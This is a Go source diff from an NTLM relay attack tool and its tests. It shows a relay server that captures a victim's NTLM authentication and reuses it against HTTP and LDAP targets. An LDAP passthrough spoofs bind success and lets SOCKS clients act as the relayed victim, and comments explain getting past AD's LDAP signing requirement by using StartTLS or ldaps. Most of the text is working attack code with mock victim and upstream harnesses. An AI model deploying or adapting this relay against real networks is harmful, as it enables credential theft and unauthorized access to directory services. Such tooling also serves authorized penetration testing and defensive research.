t *testing.T
listener net.Listener
srv *http.Server
expectedUser string
expectedDomain string
protectedBody []byte
mu sync.Mutex
states map[net.Conn]*ntlmHTTPState
authedConns atomic.Int32
}
type ntlmHTTPState struct {
server *ntlmssp.Server
authed bool
}
func newNtlmHTTPUpstream(t *testing.T, expectedUser, expectedDomain string, body []byte) *ntlmHTTPUpstream {
t.Helper()
ln, err := net.Listen("tcp", "127.0.0.1:0")
if err != nil {
t.Fatalf("listen upstream: %v", err)
}
up := &ntlmHTTPUpstream{
t: t,
listener: ln,
expectedUser: expectedUser,
expectedDomain: expectedDomain,
protectedBody: body,
states: map[net.Conn]*ntlmHTTPState{},
}
up.srv = &http.Server{
Handler: http.HandlerFunc(up.handle),
ConnContext: func(ctx context.Context, c net.Conn) context.Context {
return context.WithValue(ctx, upstreamConnKey{}, c)
},
ConnState: func(c net.Conn, s http.ConnState) {
if s == http.StateClosed {
up.mu.Lock()
delete(up.states, c)
up.mu.Unlock()
}
},
}
go func() {
_ = up.srv.Serve(ln)
}()
return up
}
type upstreamConnKey struct{}
func (u *ntlmHTTPUpstream) Addr() string {
return u.listener.Addr().String()
}
func (u *ntlmHTTPUpstream) Stop() {
ctx, cancel := context.WithTimeout(context.Background(), time.Second)
defer cancel()
_ = u.srv.Shutdown(ctx)
}
func (u *ntlmHTTPUpstream) handle(w http.ResponseWriter, r *http.Request) {
c, _ := r.Context().Value(upstreamConnKey{}).(net.Conn)
u.mu.Lock()
st := u.states[c]
u.mu.Unlock()
auth := r.Header.Get("Authorization")
if auth == "" {
// Already authenticated on this conn — serve content.
if st != nil && st.authed {
w.Header().Set("Content-Length", fmt.Sprint(len(u.protectedBody)))
w.WriteHeader(http.StatusOK)
_, _ = w.Write(u.protectedBody)
return
}
w.Header().Set("WWW-Authenticate", "NTLM")
w.Header().Set("Connection", "Keep-Alive")
w.Header().Set("Content-Length", "0")
w.WriteHeader(http.StatusUnauthorized)
return
}
if !strings.HasPrefix(strings.ToLower(auth), "ntlm ") {
http.Error(w, "bad scheme", http.StatusBadRequest)
return
}
token, err := base64.StdEncoding.DecodeString(strings.TrimSpace(auth[5:]))
if err != nil || len(token) < 12 || string(token[:7]) != "NTLMSSP" {
http.Error(w, "bad payload", http.StatusBadRequest)
return
}
switch token[8] {
case 0x01: // NEGOTIATE
srv := &ntlmssp.Server{
TargetName: "UPSTREAM",
NetBIOSName: "UPSTREAM",
NetBIOSDomain: u.expectedDomain,
}
ch, err := srv.AcceptNegotiate(token)
if err != nil {
http.Error(w, err.Error(), http.StatusBadRequest)
return
}
u.mu.Lock()
u.states[c] = &ntlmHTTPState{server: srv}
u.mu.Unlock()
w.Header().Set("WWW-Authenticate", "NTLM "+base64.StdEncoding.EncodeToString(ch))
w.Header().Set("Connection", "Keep-Alive")
w.Header().Set("Content-Length", "0")
w.WriteHeader(http.StatusUnauthorized)
case 0x03: // AUTHENTICATE
if st == nil || st.server == nil {
http.Error(w, "no NEGOTIATE first", http.StatusBadRequest)
return
}
auth, err := st.server.AcceptAuthenticate(token)
if err != nil {
http.Error(w, err.Error(), http.StatusBadRequest)
return
}
// Cheap check: we just verify the asserted user/domain match what we
// expect — relay tests aren't testing NTLM hash validation here.
user, _ := utf16ToString(auth.UserName)
domain, _ := utf16ToString(auth.DomainName)
if user != u.expectedUser || domain != u.expectedDomain {
w.WriteHeader(http.StatusUnauthorized)
return
}
st.authed = true
u.authedConns.Add(1)
w.Header().Set("Content-Length", fmt.Sprint(len(u.protectedBody)))
w.WriteHeader(http.StatusOK)
_, _ = w.Write(u.protectedBody)
default:
http.Error(w, "bad ntlm type", http.StatusBadRequest)
}
}
// utf16ToString reads a NTLMSSP UTF-16LE field into Go string.
func utf16ToString(b []byte) (string, error) {
if len(b)%2 != 0 {
return "", fmt.Errorf("odd utf16 length")
}
out := make([]rune, 0, len(b)/2)
for i := 0; i < len(b); i += 2 {
out = append(out, rune(uint16(b[i])|uint16(b[i+1])<<8))
}
return string(out), nil
}
// driveHTTPNTLMVictim performs the 3-leg NTLM-over-HTTP exchange as a victim
// client would, against the supplied relay HTTP listener. Returns the final
// status code (always 401 for capture-and-drop).
func driveHTTPNTLMVictim(t *testing.T, listenerAddr, user, password, domain string) int {
t.Helper()
c, err := net.DialTimeout("tcp", listenerAddr, 2*time.Second)
if err != nil {
t.Fatalf("dial relay: %v", err)
}
defer c.Close()
r := bufio.NewReader(c)
// Leg 1: build NEGOTIATE via ntlmssp.Client.
cl := &ntlmssp.Client{
Workstation: "VICTIM",
Domain: domain,
User: user,
Password: password,
}
neg, err := cl.Negotiate()
if err != nil {
t.Fatalf("ntlm Negotiate: %v", err)
}
// Send GET / with the NEGOTIATE.
req := fmt.Sprintf("GET / HTTP/1.1\r\nHost: relay\r\nConnection: Keep-Alive\r\nAuthorization: NTLM %s\r\nContent-Length: 0\r\n\r\n",
base64.StdEncoding.EncodeToString(neg))
if _, err := c.Write([]byte(req)); err != nil {
t.Fatalf("write neg: %v", err)
}
resp, err := http.ReadResponse(r, nil)
if err != nil {
t.Fatalf("read challenge: %v", err)
}
_, _ = io.Copy(io.Discard, resp.Body)
resp.Body.Close()
if resp.StatusCode != 401 {
t.Fatalf("leg1 status = %d, want 401", resp.StatusCode)
}
wa := resp.Header.Get("WWW-Authenticate")
if !strings.HasPrefix(strings.ToLower(wa), "ntlm ") {
t.Fatalf("leg1 WWW-Authenticate = %q", wa)
}
chBytes, err := base64.StdEncoding.DecodeString(strings.TrimSpace(wa[5:]))
if err != nil {
t.Fatalf("decode challenge: %v", err)
}
// Leg 2: NTLM client produces AUTHENTICATE.
authMsg, err := cl.Authenticate(chBytes)
if err != nil {
t.Fatalf("ntlm Authenticate: %v", err)
}
req = fmt.Sprintf("GET / HTTP/1.1\r\nHost: relay\r\nConnection: Keep-Alive\r\nAuthorization: NTLM %s\r\nContent-Length: 0\r\n\r\n",
base64.StdEncoding.EncodeToString(authMsg))
if _, err := c.Write([]byte(req)); err != nil {
t.Fatalf("write auth: %v", err)
}
resp, err = http.ReadResponse(r, nil)
if err != nil {
t.Fatalf("read final: %v", err)
}
_, _ = io.Copy(io.Discard, resp.Body)
resp.Body.Close()
return resp.StatusCode
}
// TestHTTPRelayEndToEnd boots a mock NTLM HTTP upstream, starts a RelayServer
// with an HTTP listener pointed at it, drives an inbound NTLM exchange, and
// verifies that:
// - the upstream HTTP session gets pooled
// - OnCredentialCaptured fires with the captured user/domain
// - the upstream accepted the relayed auth (200 was returned to the relay)
// - a SOCKS5 client can fetch /content through the proxy without
// authenticating, and the response body matches the upstream's content
func TestHTTPRelayEndToEnd(t *testing.T) {
const (
user = "alice"
password = "Hunter2!"
domain = "WORKGROUP"
)
upstreamBody := []byte("relay-served from upstream\n")
up := newNtlmHTTPUpstream(t, user, domain, upstreamBody)
defer up.Stop()
var (
credsMu sync.Mutex
creds []*relay.Credential
)
rs := &relay.RelayServer{
Config: relay.ServerConfig{
SocksAddr: "127.0.0.1:0",
HTTPListenAddr: "127.0.0.1:0",
Targets: []string{"http://" + up.Addr()},
OnCredentialCaptured: func(_ *server.Conn, c *relay.Credential) {
credsMu.Lock()
creds = append(creds, c)
credsMu.Unlock()
},
},
}
if err := rs.Start(); err != nil {
t.Fatalf("RelayServer.Start: %v", err)
}
defer func() {
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
defer cancel()
_ = rs.Shutdown(ctx)
}()
relayAddr := rs.HTTPAddr().(*net.TCPAddr).String()
socksAddr := rs.SocksAddr().(*net.TCPAddr).String()
// Drive an inbound NTLM-over-HTTP exchange. The relay returns 401 to the
// victim regardless (capture-and-drop); we just want the upstream
// session pooled.
if status := driveHTTPNTLMVictim(t, relayAddr, user, password, domain); status != 401 {
t.Errorf("victim final status = %d, want 401", status)
}
if !waitFor(2*time.Second, func() bool { return len(rs.Snapshot()) >= 1 }) {
t.Fatalf("HTTP upstream session never pooled (have %d)", len(rs.Snapshot()))
}
credsMu.Lock()
if len(creds) == 0 {
credsMu.Unlock()
t.Fatalf("OnCredentialCaptured never fired")
}
gotCred := creds[0]
credsMu.Unlock()
if gotCred.Username != user || gotCred.Domain != domain {
t.Errorf("captured cred = %s\\%s, want %s\\%s", gotCred.Domain, gotCred.Username, domain, user)
}
if up.authedConns.Load() == 0 {
t.Errorf("upstream never saw a successful AUTHENTICATE")
}
// SOCKS5 fetch through the pooled session.
conn, err := socks5Connect(socksAddr, up.Addr())
if err != nil {
t.Fatalf("socks5 connect: %v", err)
}
defer conn.Close()
host, _, _ := net.SplitHostPort(up.Addr())
_, port, _ := net.SplitHostPort(up.Addr())
getReq := fmt.Sprintf("GET /content HTTP/1.1\r\nHost: %s:%s\r\nConnection: close\r\n\r\n", host, port)
if _, err := conn.Write([]byte(getReq)); err != nil {
t.Fatalf("write GET: %v", err)
}
resp, err := http.ReadResponse(bufio.NewReader(conn), nil)
if err != nil {
t.Fatalf("read GET reply: %v", err)
}
defer resp.Body.Close()
if resp.StatusCode != 200 {
t.Errorf("SOCKS-fronted GET status = %d, want 200", resp.StatusCode)
}
body, err := io.ReadAll(resp.Body)
if err != nil {
t.Fatalf("read body: %v", err)
}
if string(body) != string(upstreamBody) {
t.Errorf("SOCKS-fronted GET body = %q, want %q", body, upstreamBody)
}
}
// TestHTTPForwarderHandshake covers the forwarder against the mock upstream
// without any relay scaffolding — useful as a thin sanity check that the
// outbound NTLM-over-HTTP plumbing produces a successful exchange when fed
// the same NTLMSSP messages we would relay.
func TestHTTPForwarderHandshake(t *testing.T) {
const (
user = "bob"
password = "Hunter2!"
domain = "WORKGROUP"
)
up := newNtlmHTTPUpstream(t, user, domain, []byte("ok"))
defer up.Stop()
// Drive an NTLM client to obtain a valid NEGOTIATE + AUTHENTICATE pair.
// Then run those messages through the HTTPListener end-to-end via the
// public flow: easier to just go through the listener.
rs := &relay.RelayServer{
Config: relay.ServerConfig{
HTTPListenAddr: "127.0.0.1:0",
Targets: []string{"http://" + up.Addr()},
},
}
if err := rs.Start(); err != nil {
t.Fatalf("Start: %v", err)
}
defer func() {
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
defer cancel()
_ = rs.Shutdown(ctx)
}()
if status := driveHTTPNTLMVictim(t, rs.HTTPAddr().String(), user, password, domain); status != 401 {
t.Errorf("victim final status = %d, want 401", status)
}
if !waitFor(2*time.Second, func() bool { return up.authedConns.Load() >= 1 }) {
t.Fatalf("upstream never saw AUTHENTICATE")
}
}
+248
View File
@@ -0,0 +1,248 @@
// MIT License
//
// Copyright (c) 2026 Jimmy Fjällid
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in all
// copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
// SOFTWARE.
package relay
import (
"context"
"errors"
"fmt"
"net"
"time"
ber "github.com/go-asn1-ber/asn1-ber"
"github.com/jfjallid/go-smb/smb/server"
)
// upstreamReadTimeout bounds how long a single forwarded LDAP request waits
// for the upstream to respond. With NTLM relay onto plain LDAP, AD with its
// default "Require signing" policy silently discards every post-bind message
// because the relay can't sign without the inbound's session keys. The
// pinned socket appears alive at the TCP layer but produces no response — so
// without a deadline we'd hang forever. 30s is generous enough for slow
// searches and short enough to fail fast on the signing-required drop.
//
// The ldap:// path defaults to a StartTLS upgrade (see ldapForwarder.dialUpstream)
// which sidesteps this drop entirely — AD treats TLS-wrapped channels as
// equivalent to signed, so post-bind messages flow normally. The 30s bound
// remains in place for the residual fallback case where StartTLS was either
// disabled or rejected by the upstream.
var upstreamReadTimeout = 30 * time.Second
// LDAP application tags used by the passthrough's state machine. Continuation
// tags (SearchResultEntry, SearchResultReference, IntermediateResponse) mean
// "more responses follow for this messageID"; everything else terminates the
// per-request exchange.
const (
ldapAppUnbindRequest ber.Tag = 2
ldapAppSearchResEntry ber.Tag = 4
ldapAppSearchResRef ber.Tag = 19
ldapAppIntermediateResponse ber.Tag = 25
)
// LDAPPassthrough bridges a SOCKS-side LDAP client onto a pre-bound upstream
// LDAP connection. BindRequests from the client are answered with a synthetic
// success response (the upstream is already bound as the relayed victim and
// can only be bound once); UnbindRequest is dropped (forwarding it would tear
// down the pinned upstream). Every other LDAP operation is forwarded
// verbatim, with MessageID translation between the local and upstream
// counters.
//
// The passthrough holds Upstream.mu for the lifetime of the conversation so
// concurrent SOCKS clients aiming at the same upstream serialize cleanly.
type LDAPPassthrough struct {
Local net.Conn
Target string // upstream "host:port"
Upstream *pooledSession
Resolve func(target string) *pooledSession
Logger server.Logger
}
// Run drives the local conversation until Local closes (clean EOF), the
// client sends UnbindRequest, or the upstream errors.
func (p *LDAPPassthrough) Run(ctx context.Context) error {
if p.Logger == nil {
p.Logger = log
}
if p.Upstream == nil && p.Resolve != nil {
p.Upstream = p.Resolve(p.Target)
}
if p.Upstream == nil || p.Upstream.LDAP == nil {
return fmt.Errorf("no pooled LDAP session for %s", p.Target)
}
up := p.Upstream.LDAP
p.Logger.Debugf("starting for target=%s", p.Target)
// Single-conversation serialization. Holding the pool entry's mu prevents
// two SOCKS clients from interleaving on the same upstream.
p.Upstream.mu.Lock()
defer p.Upstream.mu.Unlock()
p.Logger.Debugf("locked pool entry, awaiting local LDAP request")
for {
req, err := ber.ReadPacket(p.Local)
if err != nil {
p.Logger.Debugf("local read returned err=%v — closing", err)
return nil
}
localID, opTag, err := parseLDAPMessage(req)
if err != nil {
p.Logger.Debugf("parse local message: %v", err)
return fmt.Errorf("parse local message: %w", err)
}
p.Logger.Debugf("local id=%d opTag=%d", localID, opTag)
switch opTag {
case ber.Tag(ldapAppBindRequest):
if err := p.spoofBindSuccess(localID); err != nil {
p.Logger.Debugf("spoof write err=%v", err)
return fmt.Errorf("spoof BindResponse: %w", err)
}
p.Logger.Debugf("spoofed BindResponse id=%d", localID)
continue
case ber.Tag(ldapAppUnbindRequest):
p.Logger.Debugf("local Unbind — closing tunnel, upstream stays")
return nil
}
upstreamID := up.allocMessageID()
if err := rewriteMessageID(req, upstreamID); err != nil {
return fmt.Errorf("rewrite messageID: %w", err)
}
if _, err := up.conn.Write(req.Bytes()); err != nil {
p.Logger.Debugf("upstream write err=%v — marking dead", err)
p.Upstream.MarkDead()
return fmt.Errorf("write to upstream: %w", err)
}
p.Logger.Debugf("forwarded local id=%d as upstream id=%d", localID, upstreamID)
for {
if err := up.conn.SetReadDeadline(time.Now().Add(upstreamReadTimeout)); err != nil {
p.Logger.Debugf("SetReadDeadline err=%v", err)
}
resp, err := ber.ReadPacket(up.conn)
// Clear the deadline so the bind path / next iteration starts
// fresh — and so a stale deadline can't poison later use.
_ = up.conn.SetReadDeadline(time.Time{})
if err != nil {
p.Upstream.MarkDead()
if isTimeout(err) {
p.Logger.Debugf("upstream silent for %s — likely LDAP signing required (plain ldap:// + NTLM); use ldaps://", upstreamReadTimeout)
return fmt.Errorf("upstream LDAP did not respond within %s — DC likely requires LDAP signing on plain ldap:// (NTLM relay cannot sign without the victim's session keys); switch the target to ldaps://", upstreamReadTimeout)
}
p.Logger.Debugf("upstream read err=%v — marking dead", err)
return fmt.Errorf("read upstream response: %w", err)
}
_, respTag, perr := parseLDAPMessage(resp)
if perr != nil {
return fmt.Errorf("parse upstream response: %w", perr)
}
if err := rewriteMessageID(resp, localID); err != nil {
return fmt.Errorf("rewrite response messageID: %w", err)
}
if _, err := p.Local.Write(resp.Bytes()); err != nil {
p.Logger.Debugf("local write err=%v — closing", err)
return nil
}
p.Logger.Debugf("relayed upstream response opTag=%d to local id=%d", respTag, localID)
if !isLDAPContinuation(respTag) {
break
}
}
p.Upstream.Touch()
}
}
// parseLDAPMessage extracts (messageID, protocolOpTag) from an LDAPMessage
// envelope. Returns an error if the envelope is malformed.
func parseLDAPMessage(env *ber.Packet) (int64, ber.Tag, error) {
if env == nil || len(env.Children) < 2 {
return 0, 0, fmt.Errorf("not a SEQUENCE of two children")
}
idChild := env.Children[0]
id, ok := idChild.Value.(int64)
if !ok {
return 0, 0, fmt.Errorf("messageID: unexpected type %T", idChild.Value)
}
op := env.Children[1]
if op.ClassType != ber.ClassApplication {
return 0, 0, fmt.Errorf("protocolOp not application class (got %d)", op.ClassType)
}
return id, op.Tag, nil
}
// rewriteMessageID replaces the MessageID child (Children[0]) with a fresh
// INTEGER packet carrying newID. Both the Value and the encoded Data of the
// envelope are kept in sync so the subsequent Bytes() emit the new ID on the
// wire.
func rewriteMessageID(env *ber.Packet, newID int64) error {
if env == nil || len(env.Children) < 2 {
return fmt.Errorf("envelope has no MessageID child")
}
newIDPkt := ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagInteger, newID, "MessageID")
// Rebuild Children[0] in-place and force re-serialization of the envelope
// by clearing its Data and re-appending all children.
env.Children[0] = newIDPkt
rebuildSequenceData(env)
return nil
}
// rebuildSequenceData regenerates env.Data from env.Children so a subsequent
// Bytes() call emits the current child set. Required after Children mutation
// because the BER library serializes by concatenating Data + child bytes from
// a buffer it never refreshes on its own.
func rebuildSequenceData(env *ber.Packet) {
env.Data.Reset()
for _, c := range env.Children {
env.Data.Write(c.Bytes())
}
}
// isLDAPContinuation reports whether a response with this tag is part of a
// multi-message response stream (more responses follow for the same
// messageID).
func isLDAPContinuation(tag ber.Tag) bool {
return tag == ldapAppSearchResEntry || tag == ldapAppSearchResRef || tag == ldapAppIntermediateResponse
}
// isTimeout reports whether err originated from a Set*Deadline expiring.
// net.Conn read/write errors of that origin satisfy net.Error.Timeout().
func isTimeout(err error) bool {
var ne net.Error
return errors.As(err, &ne) && ne.Timeout()
}
// spoofBindSuccess synthesizes and writes a BindResponse{resultCode=success}
// to the local conn carrying the same MessageID the client used for its
// BindRequest. The upstream socket is left untouched — it's already bound as
// the relayed victim.
func (p *LDAPPassthrough) spoofBindSuccess(localID int64) error {
env := ber.Encode(ber.ClassUniversal, ber.TypeConstructed, ber.TagSequence, nil, "LDAPMessage")
env.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagInteger, localID, "MessageID"))
resp := ber.Encode(ber.ClassApplication, ber.TypeConstructed, ber.Tag(ldapAppBindResponse), nil, "BindResponse")
resp.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagEnumerated, int64(ldapResultSuccess), "resultCode"))
resp.AppendChild(ber.NewString(ber.ClassUniversal, ber.TypePrimitive, ber.TagOctetString, "", "matchedDN"))
resp.AppendChild(ber.NewString(ber.ClassUniversal, ber.TypePrimitive, ber.TagOctetString, "", "diagnosticMessage"))
env.AppendChild(resp)
_, err := p.Local.Write(env.Bytes())
return err
}
+256
View File
@@ -0,0 +1,256 @@
// MIT License
//
// Copyright (c) 2026 Jimmy Fjällid
package relay
import (
"context"
"net"
"testing"
"time"
ber "github.com/go-asn1-ber/asn1-ber"
)
// TestLDAPPassthroughSpoofsBind verifies the central feature: a BindRequest
// from the SOCKS-side client is answered locally with a synthetic
// BindResponse {resultCode=success}, without touching the upstream socket.
func TestLDAPPassthroughSpoofsBind(t *testing.T) {
localCli, localSrv := net.Pipe()
defer localCli.Close()
defer localSrv.Close()
upCli, upSrv := net.Pipe()
defer upCli.Close()
defer upSrv.Close()
up := &ldapUpstream{Target: Target{Protocol: ProtoLDAP, Host: "x:389"}, conn: upCli, nextMessageID: 2}
ps := &pooledSession{Target: "x:389", LDAP: up}
p := &LDAPPassthrough{Local: localSrv, Target: "x:389", Upstream: ps}
doneCh := make(chan error, 1)
go func() { doneCh <- p.Run(context.Background()) }()
// Client sends BindRequest (simple bind, empty creds — content is
// irrelevant since the passthrough spoofs the response without looking).
bindReq := buildBindRequestEnvelope(1, "")
if _, err := localCli.Write(bindReq); err != nil {
t.Fatalf("write bind: %v", err)
}
// Read the response back. Expect BindResponse(success) with the same
// messageID.
_ = localCli.SetReadDeadline(time.Now().Add(500 * time.Millisecond))
resp, err := ber.ReadPacket(localCli)
if err != nil {
t.Fatalf("read bind response: %v", err)
}
id, opTag, err := parseLDAPMessage(resp)
if err != nil {
t.Fatalf("parse response: %v", err)
}
if id != 1 {
t.Errorf("response messageID = %d, want 1", id)
}
if opTag != ber.Tag(ldapAppBindResponse) {
t.Errorf("response op tag = %d, want %d", opTag, ldapAppBindResponse)
}
code, _, _, err := parseBindResultCode(resp)
if err != nil {
t.Fatalf("parseBindResultCode: %v", err)
}
if code != ldapResultSuccess {
t.Errorf("resultCode = %d, want 0", code)
}
// Sanity: nothing should have been written to the upstream socket.
_ = upSrv.SetReadDeadline(time.Now().Add(50 * time.Millisecond))
buf := make([]byte, 1)
n, _ := upSrv.Read(buf)
if n > 0 {
t.Errorf("upstream socket saw %d bytes during bind spoof", n)
}
// Closing the local side terminates the loop cleanly.
localCli.Close()
select {
case <-doneCh:
case <-time.After(500 * time.Millisecond):
t.Fatal("Run did not exit after local close")
}
}
// TestLDAPPassthroughForwardsSearchWithIDRewrite verifies the forwarding path:
// a non-bind operation (Search) is forwarded to the upstream with a rewritten
// MessageID, and the upstream's response is forwarded back with the original
// local MessageID. The continuation-tag handling is exercised by a single
// SearchResultDone (no SearchResultEntry needed for this test).
func TestLDAPPassthroughForwardsSearchWithIDRewrite(t *testing.T) {
localCli, localSrv := net.Pipe()
defer localCli.Close()
defer localSrv.Close()
upCli, upSrv := net.Pipe()
defer upCli.Close()
defer upSrv.Close()
up := &ldapUpstream{Target: Target{Protocol: ProtoLDAP, Host: "x:389"}, conn: upCli, nextMessageID: 2}
ps := &pooledSession{Target: "x:389", LDAP: up}
p := &LDAPPassthrough{Local: localSrv, Target: "x:389", Upstream: ps}
go p.Run(context.Background())
// Mock upstream: read one request, answer with SearchResultDone.
upDone := make(chan struct{})
var upReqID int64
go func() {
defer close(upDone)
req, err := ber.ReadPacket(upSrv)
if err != nil {
return
}
id, _, err := parseLDAPMessage(req)
if err != nil {
return
}
upReqID = id
// Write SearchResultDone with the matching upstream id.
resp := buildSearchResultDoneEnvelope(id)
_, _ = upSrv.Write(resp)
}()
// Client sends SearchRequest with localID = 1.
searchReq := buildSearchRequestEnvelope(1)
if _, err := localCli.Write(searchReq); err != nil {
t.Fatalf("write search: %v", err)
}
// Read the response on the local socket.
_ = localCli.SetReadDeadline(time.Now().Add(2 * time.Second))
resp, err := ber.ReadPacket(localCli)
if err != nil {
t.Fatalf("read search response: %v", err)
}
id, opTag, err := parseLDAPMessage(resp)
if err != nil {
t.Fatalf("parse response: %v", err)
}
if id != 1 {
t.Errorf("local-side response messageID = %d, want 1 (original)", id)
}
if opTag != 5 { // SearchResultDone
t.Errorf("response op tag = %d, want 5", opTag)
}
<-upDone
// The forwarded request must have had a rewritten messageID — upstream's
// nextMessageID starts at 2 (bind used 1, 2), so the rewrite assigns 3.
if upReqID != 3 {
t.Errorf("upstream observed messageID = %d, want 3 (after rewrite)", upReqID)
}
localCli.Close()
}
// TestLDAPPassthroughDropsUnbindWithoutTouchingUpstream verifies that an
// UnbindRequest from the SOCKS-side closes the local conn but leaves the
// upstream alive — the pinned upstream is shared across SOCKS connections so
// we must never forward Unbind.
func TestLDAPPassthroughDropsUnbindWithoutTouchingUpstream(t *testing.T) {
localCli, localSrv := net.Pipe()
defer localCli.Close()
defer localSrv.Close()
upCli, upSrv := net.Pipe()
defer upCli.Close()
defer upSrv.Close()
up := &ldapUpstream{Target: Target{Protocol: ProtoLDAP, Host: "x:389"}, conn: upCli, nextMessageID: 2}
ps := &pooledSession{Target: "x:389", LDAP: up}
p := &LDAPPassthrough{Local: localSrv, Target: "x:389", Upstream: ps}
doneCh := make(chan error, 1)
go func() { doneCh <- p.Run(context.Background()) }()
// Send Unbind.
unbind := buildUnbindRequestEnvelope(1)
if _, err := localCli.Write(unbind); err != nil {
t.Fatalf("write unbind: %v", err)
}
// Run should exit cleanly.
select {
case err := <-doneCh:
if err != nil {
t.Fatalf("Run returned error after Unbind: %v", err)
}
case <-time.After(500 * time.Millisecond):
t.Fatal("Run did not exit after Unbind")
}
// Upstream socket must not have been written to.
_ = upSrv.SetReadDeadline(time.Now().Add(50 * time.Millisecond))
buf := make([]byte, 1)
n, err := upSrv.Read(buf)
if n > 0 {
t.Errorf("upstream saw %d bytes after Unbind; got=%x err=%v", n, buf[:n], err)
}
if up.IsClosed() {
t.Errorf("Unbind from SOCKS client closed pinned upstream — must be left alive")
}
}
// --- helpers ---
func buildBindRequestEnvelope(messageID int64, dn string) []byte {
env := ber.Encode(ber.ClassUniversal, ber.TypeConstructed, ber.TagSequence, nil, "LDAPMessage")
env.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagInteger, messageID, "MessageID"))
req := ber.Encode(ber.ClassApplication, ber.TypeConstructed, ber.Tag(ldapAppBindRequest), nil, "BindRequest")
req.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagInteger, int64(3), "Version"))
req.AppendChild(ber.NewString(ber.ClassUniversal, ber.TypePrimitive, ber.TagOctetString, dn, "Name"))
// Simple auth (context primitive tag 0) — empty password.
auth := ber.Encode(ber.ClassContext, ber.TypePrimitive, 0, nil, "simple")
req.AppendChild(auth)
env.AppendChild(req)
return env.Bytes()
}
func buildSearchRequestEnvelope(messageID int64) []byte {
env := ber.Encode(ber.ClassUniversal, ber.TypeConstructed, ber.TagSequence, nil, "LDAPMessage")
env.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagInteger, messageID, "MessageID"))
// SearchRequest = [APPLICATION 3]
req := ber.Encode(ber.ClassApplication, ber.TypeConstructed, 3, nil, "SearchRequest")
// baseObject, scope=0, derefAliases=0, sizeLimit=0, timeLimit=0,
// typesOnly=false, filter=(objectClass=*), attributes={}
req.AppendChild(ber.NewString(ber.ClassUniversal, ber.TypePrimitive, ber.TagOctetString, "", "baseObject"))
req.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagEnumerated, int64(0), "scope"))
req.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagEnumerated, int64(0), "derefAliases"))
req.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagInteger, int64(0), "sizeLimit"))
req.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagInteger, int64(0), "timeLimit"))
req.AppendChild(ber.NewLDAPBoolean(ber.ClassUniversal, ber.TypePrimitive, ber.TagBoolean, false, "typesOnly"))
// filter = present "objectClass" ([CONTEXT 7] primitive octet string)
filter := ber.Encode(ber.ClassContext, ber.TypePrimitive, 7, nil, "filter:present")
filter.Data.Write([]byte("objectClass"))
req.AppendChild(filter)
req.AppendChild(ber.Encode(ber.ClassUniversal, ber.TypeConstructed, ber.TagSequence, nil, "attributes"))
env.AppendChild(req)
return env.Bytes()
}
func buildSearchResultDoneEnvelope(messageID int64) []byte {
env := ber.Encode(ber.ClassUniversal, ber.TypeConstructed, ber.TagSequence, nil, "LDAPMessage")
env.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagInteger, messageID, "MessageID"))
// SearchResultDone = [APPLICATION 5]
resp := ber.Encode(ber.ClassApplication, ber.TypeConstructed, 5, nil, "SearchResultDone")
resp.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagEnumerated, int64(0), "resultCode"))
resp.AppendChild(ber.NewString(ber.ClassUniversal, ber.TypePrimitive, ber.TagOctetString, "", "matchedDN"))
resp.AppendChild(ber.NewString(ber.ClassUniversal, ber.TypePrimitive, ber.TagOctetString, "", "diagnosticMessage"))
env.AppendChild(resp)
return env.Bytes()
}
func buildUnbindRequestEnvelope(messageID int64) []byte {
env := ber.Encode(ber.ClassUniversal, ber.TypeConstructed, ber.TagSequence, nil, "LDAPMessage")
env.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagInteger, messageID, "MessageID"))
// UnbindRequest = [APPLICATION 2], NULL value (no content).
req := ber.Encode(ber.ClassApplication, ber.TypePrimitive, ber.Tag(ldapAppUnbindRequest), nil, "UnbindRequest")
env.AppendChild(req)
return env.Bytes()
}
+390
View File
@@ -0,0 +1,390 @@
// MIT License
//
// Copyright (c) 2026 Jimmy Fjällid
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in all
// copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
